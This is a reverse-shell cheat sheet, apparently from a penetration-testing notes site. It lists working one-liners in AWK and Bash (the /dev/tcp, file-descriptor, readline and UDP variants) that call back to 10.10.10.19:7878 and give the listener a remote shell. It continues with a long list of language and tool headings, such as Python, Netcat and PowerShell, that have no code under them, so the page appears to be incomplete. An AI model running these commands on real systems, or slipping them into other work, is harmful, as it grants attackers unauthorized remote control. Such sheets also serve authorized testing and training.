Reverse Shells

AWK

awk 'BEGIN {s = "/inet/tcp/0/10.10.10.19/7878"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Bash

#-i
bash -c >& /dev/tcp/10.10.10.19/7878 0>&1

#196
0<&196;exec 196<>/dev/tcp/10.10.10.19/7878; sh <&196 >&196 2>&196

#readline
exec 5<>/dev/tcp/10.10.10.19/7878;cat <&5 | while read line; do $line 2>&5 >&5; done

#5
sh -i 5<> /dev/tcp/10.10.10.19/7878 0<&5 1>&5 2>&5

#udp
sh -i >& /dev/udp/10.10.10.19/7878 0>&1

C

Linux

Windows

C#

Dart

Golang

Groovy

Haskell

Java

Basic

ProcessBuilder

Longest

Lua

Netcat

Linux

Windows

Ncat

Linux

Windows

NodeJS

Perl

PHP

Powershell

Python

Ruby

Socat

Telnet

Zsh

Last updated